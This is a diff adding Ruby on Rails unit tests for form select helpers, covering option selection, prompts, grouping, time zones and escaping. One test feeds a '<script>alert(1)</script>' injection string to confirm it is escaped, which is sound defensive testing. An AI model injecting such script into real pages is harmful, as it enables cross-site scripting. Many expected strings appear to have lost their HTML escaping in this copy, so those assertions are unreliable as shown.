+ "<option value=\"Dollar\" selected=\"selected\">$</option>\n<option value=\"<Kroner>\" selected=\"selected\"><DKR></option>",
+ options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, [ "Dollar", "<Kroner>" ]).split("\n").join("\n")
+ )
+ end
+
+ def test_ducktyped_options_for_select
+ quack = Struct.new(:first, :last)
+ assert_dom_equal(
+ "<option value=\"<Kroner>\"><DKR></option>\n<option value=\"Dollar\">$</option>",
+ options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")])
+ )
+ assert_dom_equal(
+ "<option value=\"<Kroner>\"><DKR></option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+ options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], "Dollar")
+ )
+ assert_dom_equal(
+ "<option value=\"<Kroner>\" selected=\"selected\"><DKR></option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+ options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], ["Dollar", "<Kroner>"])
+ )
+ end
+
+ def test_collection_options_with_preselected_value_as_string_and_option_value_is_integer
+ albums = [ Album.new(1, "first","rap"), Album.new(2, "second","pop")]
+ assert_dom_equal(
+ %(<option selected="selected" value="1">rap</option>\n<option value="2">pop</option>),
+ options_from_collection_for_select(albums, "id", "genre", :selected => "1")
+ )
+ end
+
+ def test_collection_options_with_preselected_value_as_integer_and_option_value_is_string
+ albums = [ Album.new("1", "first","rap"), Album.new("2", "second","pop")]
+
+ assert_dom_equal(
+ %(<option selected="selected" value="1">rap</option>\n<option value="2">pop</option>),
+ options_from_collection_for_select(albums, "id", "genre", :selected => 1)
+ )
+ end
+
+ def test_collection_options_with_preselected_value_as_string_and_option_value_is_float
+ albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
+
+ assert_dom_equal(
+ %(<option value="1.0">rap</option>\n<option value="2.0" selected="selected">pop</option>),
+ options_from_collection_for_select(albums, "id", "genre", :selected => "2.0")
+ )
+ end
+
+ def test_collection_options_with_preselected_value_as_nil
+ albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
+
+ assert_dom_equal(
+ %(<option value="1.0">rap</option>\n<option value="2.0">pop</option>),
+ options_from_collection_for_select(albums, "id", "genre", :selected => nil)
+ )
+ end
+
+ def test_collection_options_with_disabled_value_as_nil
+ albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
+
+ assert_dom_equal(
+ %(<option value="1.0">rap</option>\n<option value="2.0">pop</option>),
+ options_from_collection_for_select(albums, "id", "genre", :disabled => nil)
+ )
+ end
+
+ def test_collection_options_with_disabled_value_as_array
+ albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
+
+ assert_dom_equal(
+ %(<option disabled="disabled" value="1.0">rap</option>\n<option disabled="disabled" value="2.0">pop</option>),
+ options_from_collection_for_select(albums, "id", "genre", :disabled => ["1.0", 2.0])
+ )
+ end
+
+ def test_collection_options_with_preselected_values_as_string_array_and_option_value_is_float
+ albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop"), Album.new(3.0, "third","country") ]
+
+ assert_dom_equal(
+ %(<option value="1.0" selected="selected">rap</option>\n<option value="2.0">pop</option>\n<option value="3.0" selected="selected">country</option>),
+ options_from_collection_for_select(albums, "id", "genre", ["1.0","3.0"])
+ )
+ end
+
+ def test_option_groups_from_collection_for_select
+ assert_dom_equal(
+ "<optgroup label=\"<Africa>\"><option value=\"<sa>\"><South Africa></option>\n<option value=\"so\">Somalia</option></optgroup><optgroup label=\"Europe\"><option value=\"dk\" selected=\"selected\">Denmark</option>\n<option value=\"ie\">Ireland</option></optgroup>",
+ option_groups_from_collection_for_select(dummy_continents, "countries", "continent_name", "country_id", "country_name", "dk")
+ )
+ end
+
+ def test_option_groups_from_collection_for_select_returns_html_safe_string
+ assert option_groups_from_collection_for_select(dummy_continents, "countries", "continent_name", "country_id", "country_name", "dk").html_safe?
+ end
+
+ def test_grouped_options_for_select_with_array
+ assert_dom_equal(
+ "<optgroup label=\"North America\"><option value=\"US\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\"><option value=\"GB\">Great Britain</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+ grouped_options_for_select([
+ ["North America",
+ [['United States','US'],"Canada"]],
+ ["Europe",
+ [["Great Britain","GB"], "Germany"]]
+ ])
+ )
+ end
+
+ def test_grouped_options_for_select_with_optional_divider
+ assert_dom_equal(
+ "<optgroup label=\"----------\"><option value=\"US\">US</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"----------\"><option value=\"GB\">GB</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+
+ grouped_options_for_select([['US',"Canada"] , ["GB", "Germany"]], nil, divider: "----------")
+ )
+ end
+
+ def test_grouped_options_for_select_with_selected_and_prompt_deprecated
+ assert_deprecated 'Passing the prompt to grouped_options_for_select as an argument is deprecated. Please use an options hash like `{ prompt: "Choose a product..." }`.' do
+ assert_dom_equal(
+ "<option value=\"\">Choose a product...</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+ grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", "Choose a product...")
+ )
+ end
+ end
+
+ def test_grouped_options_for_select_with_selected_and_prompt
+ assert_dom_equal(
+ "<option value=\"\">Choose a product...</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+ grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", prompt: "Choose a product...")
+ )
+ end
+
+ def test_grouped_options_for_select_with_selected_and_prompt_true
+ assert_dom_equal(
+ "<option value=\"\">Please select</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+ grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", prompt: true)
+ )
+ end
+
+ def test_grouped_options_for_select_returns_html_safe_string
+ assert grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]]).html_safe?
+ end
+
+ def test_grouped_options_for_select_with_prompt_returns_html_escaped_string_deprecated
+ ActiveSupport::Deprecation.silence do
+ assert_dom_equal(
+ "<option value=\"\"><Choose One></option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+ grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], nil, '<Choose One>'))
+ end
+ end
+
+ def test_grouped_options_for_select_with_prompt_returns_html_escaped_string
+ assert_dom_equal(
+ "<option value=\"\"><Choose One></option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+ grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], nil, prompt: '<Choose One>'))
+ end
+
+ def test_optgroups_with_with_options_with_hash
+ assert_dom_equal(
+ "<optgroup label=\"North America\"><option value=\"United States\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\"><option value=\"Denmark\">Denmark</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+ grouped_options_for_select({'North America' => ['United States','Canada'], 'Europe' => ['Denmark','Germany']})
+ )
+ end
+
+ def test_time_zone_options_no_params
+ opts = time_zone_options_for_select
+ assert_dom_equal "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\">D</option>\n" +
+ "<option value=\"E\">E</option>",
+ opts
+ end
+
+ def test_time_zone_options_with_selected
+ opts = time_zone_options_for_select( "D" )
+ assert_dom_equal "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>",
+ opts
+ end
+
+ def test_time_zone_options_with_unknown_selected
+ opts = time_zone_options_for_select( "K" )
+ assert_dom_equal "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\">D</option>\n" +
+ "<option value=\"E\">E</option>",
+ opts
+ end
+
+ def test_time_zone_options_with_priority_zones
+ zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+ opts = time_zone_options_for_select( nil, zones )
+ assert_dom_equal "<option value=\"B\">B</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\">D</option>",
+ opts
+ end
+
+ def test_time_zone_options_with_selected_priority_zones
+ zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+ opts = time_zone_options_for_select( "E", zones )
+ assert_dom_equal "<option value=\"B\">B</option>\n" +
+ "<option value=\"E\" selected=\"selected\">E</option>" +
+ "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\">D</option>",
+ opts
+ end
+
+ def test_time_zone_options_with_unselected_priority_zones
+ zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+ opts = time_zone_options_for_select( "C", zones )
+ assert_dom_equal "<option value=\"B\">B</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"C\" selected=\"selected\">C</option>\n" +
+ "<option value=\"D\">D</option>",
+ opts
+ end
+
+ def test_time_zone_options_with_priority_zones_does_not_mutate_time_zones
+ original_zones = ActiveSupport::TimeZone.all.dup
+ zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+ time_zone_options_for_select(nil, zones)
+ assert_equal original_zones, ActiveSupport::TimeZone.all
+ end
+
+ def test_time_zone_options_returns_html_safe_string
+ assert time_zone_options_for_select.html_safe?
+ end
+
+ def test_select
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest))
+ )
+ end
+
+ def test_select_without_multiple
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"></select>",
+ select(:post, :category, "", {}, :multiple => false)
+ )
+ end
+
+ def test_select_with_grouped_collection_as_nested_array
+ @post = Post.new
+
+ countries_by_continent = [
+ ["<Africa>", [["<South Africa>", "<sa>"], ["Somalia", "so"]]],
+ ["Europe", [["Denmark", "dk"], ["Ireland", "ie"]]],
+ ]
+
+ assert_dom_equal(
+ [
+ %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>},
+ %Q{<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk">Denmark</option>},
+ %Q{<option value="ie">Ireland</option></optgroup></select>},
+ ].join("\n"),
+ select("post", "origin", countries_by_continent)
+ )
+ end
+
+ def test_select_with_grouped_collection_as_hash
+ @post = Post.new
+
+ countries_by_continent = {
+ "<Africa>" => [["<South Africa>", "<sa>"], ["Somalia", "so"]],
+ "Europe" => [["Denmark", "dk"], ["Ireland", "ie"]],
+ }
+
+ assert_dom_equal(
+ [
+ %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>},
+ %Q{<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk">Denmark</option>},
+ %Q{<option value="ie">Ireland</option></optgroup></select>},
+ ].join("\n"),
+ select("post", "origin", countries_by_continent)
+ )
+ end
+
+ def test_select_with_boolean_method
+ @post = Post.new
+ @post.allow_comments = false
+ assert_dom_equal(
+ "<select id=\"post_allow_comments\" name=\"post[allow_comments]\"><option value=\"true\">true</option>\n<option value=\"false\" selected=\"selected\">false</option></select>",
+ select("post", "allow_comments", %w( true false ))
+ )
+ end
+
+ def test_select_under_fields_for
+ @post = Post.new
+ @post.category = "<mus>"
+
+ output_buffer = fields_for :post, @post do |f|
+ concat f.select(:category, %w( abe <mus> hest))
+ end
+
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+ output_buffer
+ )
+ end
+
+ def test_fields_for_with_record_inherited_from_hash
+ map = Map.new
+
+ output_buffer = fields_for :map, map do |f|
+ concat f.select(:category, %w( abe <mus> hest))
+ end
+
+ assert_dom_equal(
+ "<select id=\"map_category\" name=\"map[category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+ output_buffer
+ )
+ end
+
+ def test_select_under_fields_for_with_index
+ @post = Post.new
+ @post.category = "<mus>"
+
+ output_buffer = fields_for :post, @post, :index => 108 do |f|
+ concat f.select(:category, %w( abe <mus> hest))
+ end
+
+ assert_dom_equal(
+ "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+ output_buffer
+ )
+ end
+
+ def test_select_under_fields_for_with_auto_index
+ @post = Post.new
+ @post.category = "<mus>"
+ def @post.to_param; 108; end
+
+ output_buffer = fields_for "post[]", @post do |f|
+ concat f.select(:category, %w( abe <mus> hest))
+ end
+
+ assert_dom_equal(
+ "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+ output_buffer
+ )
+ end
+
+ def test_select_under_fields_for_with_string_and_given_prompt
+ @post = Post.new
+ options = "<option value=\"abe\">abe</option><option value=\"mus\">mus</option><option value=\"hest\">hest</option>".html_safe
+
+ output_buffer = fields_for :post, @post do |f|
+ concat f.select(:category, options, :prompt => 'The prompt')
+ end
+
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n#{options}</select>",
+ output_buffer
+ )
+ end
+
+ def test_select_with_multiple_to_add_hidden_input
+ output_buffer = select(:post, :category, "", {}, :multiple => true)
+ assert_dom_equal(
+ "<input type=\"hidden\" name=\"post[category][]\" value=\"\"/><select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
+ output_buffer
+ )
+ end
+
+ def test_select_with_multiple_and_without_hidden_input
+ output_buffer = select(:post, :category, "", {:include_hidden => false}, :multiple => true)
+ assert_dom_equal(
+ "<select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
+ output_buffer
+ )
+ end
+
+ def test_select_with_multiple_and_with_explicit_name_ending_with_brackets
+ output_buffer = select(:post, :category, [], {include_hidden: false}, multiple: true, name: 'post[category][]')
+ assert_dom_equal(
+ "<select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
+ output_buffer
+ )
+ end
+
+ def test_select_with_multiple_and_disabled_to_add_disabled_hidden_input
+ output_buffer = select(:post, :category, "", {}, :multiple => true, :disabled => true)
+ assert_dom_equal(
+ "<input disabled=\"disabled\"type=\"hidden\" name=\"post[category][]\" value=\"\"/><select multiple=\"multiple\" disabled=\"disabled\" id=\"post_category\" name=\"post[category][]\"></select>",
+ output_buffer
+ )
+ end
+
+ def test_select_with_blank
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :include_blank => true)
+ )
+ end
+
+ def test_select_with_blank_as_string
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">None</option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :include_blank => 'None')
+ )
+ end
+
+ def test_select_with_blank_as_string_escaped
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"><None></option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :include_blank => '<None>')
+ )
+ end
+
+ def test_select_with_default_prompt
+ @post = Post.new
+ @post.category = ""
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :prompt => true)
+ )
+ end
+
+ def test_select_no_prompt_when_select_has_value
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :prompt => true)
+ )
+ end
+
+ def test_select_with_given_prompt
+ @post = Post.new
+ @post.category = ""
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :prompt => 'The prompt')
+ )
+ end
+
+ def test_select_with_given_prompt_escaped
+ @post = Post.new
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"><The prompt></option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :prompt => '<The prompt>')
+ )
+ end
+
+ def test_select_with_prompt_and_blank
+ @post = Post.new
+ @post.category = ""
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :prompt => true, :include_blank => true)
+ )
+ end
+
+ def test_empty
+ @post = Post.new
+ @post.category = ""
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n</select>",
+ select("post", "category", [], :prompt => true, :include_blank => true)
+ )
+ end
+
+ def test_select_with_nil
+ @post = Post.new
+ @post.category = "othervalue"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"othervalue\" selected=\"selected\">othervalue</option></select>",
+ select("post", "category", [nil, "othervalue"])
+ )
+ end
+
+ def test_required_select
+ assert_dom_equal(
+ %(<select id="post_category" name="post[category]" required="required"><option value=""></option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+ select("post", "category", %w(abe mus hest), {}, required: true)
+ )
+ end
+
+ def test_required_select_with_include_blank_prompt
+ assert_dom_equal(
+ %(<select id="post_category" name="post[category]" required="required"><option value="">Select one</option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+ select("post", "category", %w(abe mus hest), { include_blank: "Select one" }, required: true)
+ )
+ end
+
+ def test_required_select_with_prompt
+ assert_dom_equal(
+ %(<select id="post_category" name="post[category]" required="required"><option value="">Select one</option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+ select("post", "category", %w(abe mus hest), { prompt: "Select one" }, required: true)
+ )
+ end
+
+ def test_required_select_display_size_equals_to_one
+ assert_dom_equal(
+ %(<select id="post_category" name="post[category]" required="required" size="1"><option value=""></option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+ select("post", "category", %w(abe mus hest), {}, required: true, size: 1)
+ )
+ end
+
+ def test_required_select_with_display_size_bigger_than_one
+ assert_dom_equal(
+ %(<select id="post_category" name="post[category]" required="required" size="2"><option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+ select("post", "category", %w(abe mus hest), {}, required: true, size: 2)
+ )
+ end
+
+ def test_required_select_with_multiple_option
+ assert_dom_equal(
+ %(<input name="post[category][]" type="hidden" value=""/><select id="post_category" multiple="multiple" name="post[category][]" required="required"><option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+ select("post", "category", %w(abe mus hest), {}, required: true, multiple: true)
+ )
+ end
+
+ def test_select_with_fixnum
+ @post = Post.new
+ @post.category = ""
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"1\">1</option></select>",
+ select("post", "category", [1], :prompt => true, :include_blank => true)
+ )
+ end
+
+ def test_list_of_lists
+ @post = Post.new
+ @post.category = ""
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"number\">Number</option>\n<option value=\"text\">Text</option>\n<option value=\"boolean\">Yes/No</option></select>",
+ select("post", "category", [["Number", "number"], ["Text", "text"], ["Yes/No", "boolean"]], :prompt => true, :include_blank => true)
+ )
+ end
+
+ def test_select_with_selected_value
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" selected=\"selected\">abe</option>\n<option value=\"<mus>\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest ), :selected => 'abe')
+ )
+ end
+
+ def test_select_with_index_option
+ @album = Album.new
+ @album.id = 1
+
+ expected = "<select id=\"album__genre\" name=\"album[][genre]\"><option value=\"rap\">rap</option>\n<option value=\"rock\">rock</option>\n<option value=\"country\">country</option></select>"
+
+ assert_dom_equal(
+ expected,
+ select("album[]", "genre", %w[rap rock country], {}, { :index => nil })
+ )
+ end
+
+ def test_select_escapes_options
+ assert_dom_equal(
+ '<select id="post_title" name="post[title]"><script>alert(1)</script></select>',
+ select('post', 'title', '<script>alert(1)</script>')
+ )
+ end
+
+ def test_select_with_selected_nil
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\"><mus></option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest ), :selected => nil)
+ )
+ end
+
+ def test_select_with_disabled_value
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\" disabled=\"disabled\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest ), :disabled => 'hest')
+ )
+ end
+
+ def test_select_with_disabled_array
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" disabled=\"disabled\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\" disabled=\"disabled\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest ), :disabled => ['hest', 'abe'])
+ )
+ end
+
+ def test_select_with_range
+ @post = Post.new
+ @post.category = 0
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"1\">1</option>\n<option value=\"2\">2</option>\n<option value=\"3\">3</option></select>",
+ select("post", "category", 1..3)
+ )
+ end
+
+ def test_collection_select
+ @post = Post.new
+ @post.author_name = "Babe"
+
+ assert_dom_equal(
+ "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+ collection_select("post", "author_name", dummy_posts, "author_name", "author_name")
+ )
+ end
+
+ def test_collection_select_under_fields_for
+ @post = Post.new
+ @post.author_name = "Babe"
+
+ output_buffer = fields_for :post, @post do |f|
+ concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
+ end
+
+ assert_dom_equal(
+ "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+ output_buffer
+ )
+ end
+
+ def test_collection_select_under_fields_for_with_index
+ @post = Post.new
+ @post.author_name = "Babe"
+
+ output_buffer = fields_for :post, @post, :index => 815 do |f|
+ concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
+ end
+
+ assert_dom_equal(
+ "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+ output_buffer
+ )
+ end
+
+ def test_collection_select_under_fields_for_with_auto_index
+ @post = Post.new
+ @post.author_name = "Babe"
+ def @post.to_param; 815; end
+
+ output_buffer = fields_for "post[]", @post do |f|
+ concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
+ end
+
+ assert_dom_equal(
+ "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+ output_buffer
+ )
+ end
+
+ def test_collection_select_with_blank_and_style
+ @post = Post.new
+ @post.author_name = "Babe"
+
+ assert_dom_equal(
+ "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\"></option>\n<option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+ collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true }, "style" => "width: 200px")
+ )
+ end
+
+ def test_collection_select_with_blank_as_string_and_style
+ @post = Post.new
+ @post.author_name = "Babe"
+
+ assert_dom_equal(
+ "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\">No Selection</option>\n<option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+ collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => 'No Selection' }, "style" => "width: 200px")
+ )
+ end
+
+ def test_collection_select_with_multiple_option_appends_array_brackets_and_hidden_input
+ @post = Post.new
+ @post.author_name = "Babe"
+
+ expected = "<input type=\"hidden\" name=\"post[author_name][]\" value=\"\"/><select id=\"post_author_name\" name=\"post[author_name][]\" multiple=\"multiple\"><option value=\"\"></option>\n<option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>"
+
+ # Should suffix default name with [].
+ assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true }, :multiple => true)
+
+ # Shouldn't suffix custom name with [].
+ assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true, :name => 'post[author_name][]' }, :multiple => true)
+ end
+
+ def test_collection_select_with_blank_and_selected
+ @post = Post.new
+ @post.author_name = "Babe"
+
+ assert_dom_equal(
+ %{<select id="post_author_name" name="post[author_name]"><option value=""></option>\n<option value="<Abe>" selected="selected"><Abe></option>\n<option value="Babe">Babe</option>\n<option value="Cabe">Cabe</option></select>},
+ collection_select("post", "author_name", dummy_posts, "author_name", "author_name", {:include_blank => true, :selected => "<Abe>"})
+ )
+ end
+
+ def test_collection_select_with_disabled
+ @post = Post.new
+ @post.author_name = "Babe"
+
+ assert_dom_equal(
+ "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe</option></select>",
+ collection_select("post", "author_name", dummy_posts, "author_name", "author_name", :disabled => 'Cabe')
+ )
+ end
+
+ def test_collection_select_with_proc_for_value_method
+ @post = Post.new
+
+ assert_dom_equal(
+ "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option></select>",
+ collection_select("post", "author_name", dummy_posts, lambda { |p| p.author_name }, "title")
+ )
+ end
+
+ def test_collection_select_with_proc_for_text_method
+ @post = Post.new
+
+ assert_dom_equal(
+ "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option></select>",
